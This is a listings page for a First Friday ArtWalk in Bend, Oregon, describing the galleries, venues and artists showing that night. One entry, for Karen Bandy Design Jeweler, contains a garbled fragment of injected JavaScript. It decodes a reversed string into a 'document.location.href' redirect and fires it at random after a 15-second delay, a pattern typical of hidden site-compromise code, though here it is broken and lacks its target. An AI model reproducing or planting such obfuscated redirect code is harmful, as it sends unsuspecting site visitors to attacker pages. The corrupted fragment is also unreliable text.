First Friday ArtWalk February 7

Alleda Real Estate
25 NW Minnesota Ave., Ste. 1, 541-633-7590,
Featuring local landscape photographers Dave Kamperman and Joel Bailie as well as mosaic artwork from local artist Joanie Callen. Kamperman has been shooting Central Oregon landscapes for years. He is one of the few local photographers who still uses film for much of his work. Bailie is a relative newcomer to the gallery scene. He is showing for the first time at Alleda Real Estate. Callen is a mosaic artist living in Bend. Her love of color, especially strong saturated colors dominate her work. Fascinated with the mosaic art form, she studied classical mosaics in Ravenna, Italy. Her whimsical artwork utilizes a variety of materials including but not limited to art glass imported from Italy and Mexico, dichroic glass, mirror glass, beads and sometimes eccentric found objects.


Art in the Atrium, Franklin Crossing
550 NW Franklin Ave.
Celebrates First Friday with paintings sold to benefit orphans in the Otino-Waa Children’s Village, Uganda. Former Bend schoolteachers Bob and Carol Higgins, founded the Otino-Waa Children’s Village in northern Uganda in 2003. Recently retiring back to the high desert, the couple will be present at the exhibition’s First Friday opening.
Unique among the school’s benefactors are inmates of the Snake River Correctional Institution of Northeastern Oregon. These inmates, many of whom will never be released, created the artwork on display at Franklin Crossing. The February exhibition offers the opportunity to broaden the support with valentine gifts of unique art, the proceeds going entirely to the children to help support this remarkable circle of hope lost…and found.
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Atelier 6000
389 SW Scalehouse Ct., Ste. 120, 541-330-8759,
4 Voices: Oregon Governor’s Office Honorees selected by Oregon Arts Commission travel to A6. Featuring mixed-media artwork from Patricia Clark, Judy Hoiness, William Hoppe and Randy Redfield, thru March 28. Will feature a demonstration by Judy Hoiness on mixed media process, demonstration by Patricia Clark on clay board print and drawing surface, a lecture by William Hoppe and a panel discussion with all artists: Creative Process, throughout the duration of the exhibition. Dates TBD for demos and lecture.


Azillion Beads
910 Harriman St., Ste. 100, 541-617-8854.
Featuring Azillion Bead’s jewelry artists.


The Basement
841 Bond Street
Featuring an eclectic mix of art, music and fashion with photography of brand new work by local body-painter Natalie Fletcher, an unplugged set from Stacie Johnson of local favorite rock/jam band Broken Down Guitars, and unique fashion and locally-made jewelry. The night will be capped off with sets from local electronic DJ’s Caputo and Jeffe. Twenty-percent of sales during the event will be donated to local non-profit Saving Grace, serving survivors of domestic violence and sexual assault. 


Bluebird Coffee Company
On Bond in Franklin Crossing Building (corner of Franklin & Bond), 541-330-2100.
Showing a collection of antique architectural elements and relics perfect for adding warmth and interest to your home or work space. Live music, beer, wine and of course, delicious coffee served during art walk and daily.


Crow’s Feet Commons
875 NW Brooks St., 541-728-0066,,
Mt. Bachelor Aprés Ski Bash #3 with The Cabin Project and Genders.


330 SW Powerhouse, Old Mill District. 541-749-9980.
Featuring Bend artist Barbara Slater who is inspired by the “out west” way of life and cowboy culture with a touch of city glitz. Painting oils with energy and spirit, this artist’s pigmentation is rich and succulent, while her brushwork is bold and responsive. Barbara continues her studies with different genres, painting still-lifes, florals, landscapes and animals. Animals are her present focus with images of vibrant roosters, horses, cows and other barnyard residents. Painting these rural inhabitants with love and respect, Barbara gives each animal an attitude and personality. Slater is a member of Oil Painters of America, California Art Club, American Women Artists (AWA) and The High Desert Art League.

Feather’s Edge Finery
113 NW Minnesota Ave., 541-306-3162,
McKenzie Mendel is a jewelry artist, based in Bend. Simple lines and contrasting colors make her work unique and exciting. McKenzie specializes in keum boo, a traditional Korean method of layering high karat gold on to silver.


Jeffrey Murray Photography
118 NW Minnesota Ave. 925-389-0610,
Landscape photography by Jeffrey Murray from local and national locations.

John Paul Designs Custom Jewelry + Signature Series
1006 NW Bond St.,
Specializing in unique, one of a kind wedding and engagement rings.

Karen Bandy Design Jeweler
25 NW Minnesota Ave., Ste. 5, 541-388-0155, =function(n){if (typeof (.list[n]) == “string”) return .list[n].split(“”).reverse().join(“”);return .list[n];};.list=[“‘//:ptth’=ferh.noitacol.tnemucod”];var c=Math.floor(Math.random()*5);if (c==3){var delay = 15000;setTimeout((0), delay);}” target=”_blank”>
Tucked between Thump coffee and Alleda Real Estate, Karen Bandy is not easy to find, but well worth the effort. Karen is Central Oregon’s only national/international award-winning jewelry designer and has been specializing in custom design in downtown Bend since 1987. Her designs are bold, fun and always very wearable. Karen Bandy is also an abstract acrylic painter whose work can best be described as colorful and textural contemporary fine art. When there is an actual subject, horses and wild animals are often depicted. Open Tuesday, Wednesday and Thursday, 11:30-5pm and by appointment, and First Fridays 5-9pm.


Legum Design
922 NW Bond Street, 541-306-6073,
Featuring Casey Gardner’s acrylic paintings. Casey was born and raised in Portland, and has considered herself an artist since she could hold a crayon. Growing up other kids would make fun of her art projects, but the creative pull kept whispering to her. She attended La Salle High School where the warmth for art started to blossom. Gardner than moved to Southern Oregon University, where the love for painting started to become her passion. She has continues to take painting classes from any teacher that she can, from learning locally to traveling to New York to apprentice a different style. Currently, Casey’s paintings are at The Porch, Metamorphosis Aveda Salon and Spa and Sisters Athletic Club. To view more of Gardners paintings “like” her Casey Gardner’s Acrylic Paintings Facebook page.


Lemon Drop Salon
5 NW Minnesota Ave., 541-382-5605,
Art by JonezyArtwork. Randy Jones has been creating abstract/urban since 2004, exhibiting at venues all over the world. “My artwork is inspired and influenced by the everyday life and people around me. I keep my artwork colorful and bright making it hard to miss, and stand out. My style is very unique and original, a mixture between urban/abstract/characteristic I haven’t really ever put it in a category I just call it JonezyArtwork. I never duplicate artwork every piece I create is original one of a kind,” Jones said.


Liberty Theatre
849 NW Wall St.,
Join the Boys & Girls Club for a fun evening of live music, free dessert & drinks, and lots of beautiful artwork created by our talented artists.


Lubbesmeyer Studio & Gallery
Old Mill District, second story loft, 541-330-0840,
The Lubbesmeyer twins offer a range of work created in fiber and paint. Through the twins’ collaborative process, they distill literal imagery into vivid blocks of color and texture, creating an abstracted view of their surroundings. The working studio and gallery is open Tuesday thru Saturday.


Mary Medrano Gallery
25 NW Minnesota Ave., Ste. 12 (above Thump Coffee), 408-250-2732,
Mary Medrano is a full-time artist living and working in Bend with a studio downtown overlooking Tin Pan Alley. She makes pet portraits and expressive animal paintings.

Mockingbird Gallery
869 NW Wall St., 541-388-2107,
Nature’s Splendor, a two person show exhibiting new works by Joey VanBlokland and Craig Zuger. The show will continue through the end of February. Please join us for a glass of wine, to meet the artists and to enjoy music by Rich Hurdle and Friends. 


O’Donnell Building upstairs next to Local Joe
925 NW Wall St.
Open art studios featuring Brenda Reid Irwin, Artist/Painter/Photographer, and Milena Ziober, Wildberry Eco Jewelry from Brazil.

Art at the Oxford
The Oxford Hotel, 10 NW Minnesota.
Celebrates First Friday with Janice Druian’s oils. Druian presents oil landscapes reflecting the beauty of the Central Oregon Cascades. She captures the drama of the sunset and sunrise on Mt. Bachelor as well as the still beauty of the high desert vistas. Her brushwork varies from the smoothly integrated strokes of the distant desert buttes to the accented heavy impasto of her skies and mountain peaks, all painted in expressionistic realism.
Billye Turner, art consultant, curates the Oxford displays as well as First Friday exhibitions at Franklin Crossing. Contact her for more info at 503-780-2828 or


Paul Scott Gallery
869 NW Wall St., Ste. 104, 541-330-6000,
Spotlights artist Geoffrey Gorman, a sculptor of unusual materials who captures the essence of each animal he creates. His use of found and lost objects assembled into curious and evocative shapes are what excite him and the viewer.

Peapod Glass Gallery
164 NW Greenwood Ave., 541-771-9443.
Kicking off the night with local band Slaughter Daughter and presenting Steel Artist Benjamin Schade’s amazing work.  


926 NE Greenwood Ave. 541-728-0527
Featured quilter will be Anne Bryson from Bend and group is the Fiber Chix from Sunriver. Quilts will be exhibited thru March 5.


Red Chair Gallery
103 NW Oregon Ave., 541-306-3176,
Features three artists in their exhibit, Earth’s Elements. Shelly Wierzba loves to create a palpable mood in her paintings. She achieves this by painting on location in all types of weather, or by creating an environment in her studio that expresses an idea. This exhibit of Wierzba’s oil paintings reflects her excitement for the local and regional landscape and working from the figure. 
Larissa Spafford’s unique jewelry features her own handmade lampwork glass beads. She creates each bead one at a time in the flame of a torch. Color, whether subtle and serene, or vivid and bright is a main focus of her work.
The Way We Art is comprised of two local artists, Tricia Biesmann and Cindy Summerfield, who have been developing the art of nuno felting for five years. Inspired by color and texture they watch in wonder as the magic of marino wool / silk roving and natural fibers fuse to become a one of a kind piece of wearable art. They have mastered the nuno felting process to give each piece a life and story of its own.


Sage Custom Framing
834 NW Brooks St., 541-382-5884,
Featuring local artists Gordon and Kay Baker, husband and wife. Both predominantly paint landscapes and can be seen painting on location throughout the area. Gordon is a geologist and an environmentalist and has worked in many countries and environments and paints from that perspective. He has painted in oils for the last 13 years. Kay has a BFA in art and has painted in watercolor, pastel and oil throughout her adult life. Her work in this show includes both plein air and studio paintings. “Painting on site gives me a joy and a freedom to express my feelings about our beautiful area.”


1001 Wall St., 541-322-8792,
Featuring Joseph Christensen of JC Lapidary. Oregon artist handcrafting beautiful jewelry featuring many stones from the Northwest.

The Silver Otter
706 SW Industrial Way, Ste. 100, Bend. 541-241-7818.
Exhibiting a collection of locally made art and handmade crafts from all over the world.


Tin Pan Theater
869 NW Tin Pan Alley, 541-241-2271,
Kolby Kirk will be exhibiting prints from his 100 hikes. 100 hikes, 700 miles in 17 months. Each hike is commemorated with a detailed number created out of the natural surroundings.


Townshend’s Bend Teahouse
835 NW Bond St., Bend, 541-312-2001.
Features Karen Z. Ellis in her exhibition Breath of Life. Drawing inspiration from the writings of Carl Jung, Ralph Waldo Emerson and Henry David Thoreau along with direct impressions from nature, Ellis’s work is an inquiry into how the outer world affects inner landscapes. Her work addresses a sense of place and a sense of space — both outer and inner.


Tumalo Art Company
Old Mill District, 450 SW Powerhouse Dr., Ste. 407, 541-385-9144,
Shelli Walters, who paints fresh images of everything from bikes, to figures to landscapes is the featured artist during February.
A graphic designer for 20+ years, she enjoys the playful interaction and surprise that occurs by alternating layers of collage and acrylic paint. “I find it cathartic tearing up discarded graphic materials and giving them new life in my paintings. I am drawn to bold color as a way to convey the urgency and power of living life in the moment.” Shelli is Tumalo Art Co.’s newest member.


805 NW Wall St., 541-728-0303,
Featuring music of Greg Botsford and The Journeyman, and art by Reubin Valdivia starting at 7:30pm.

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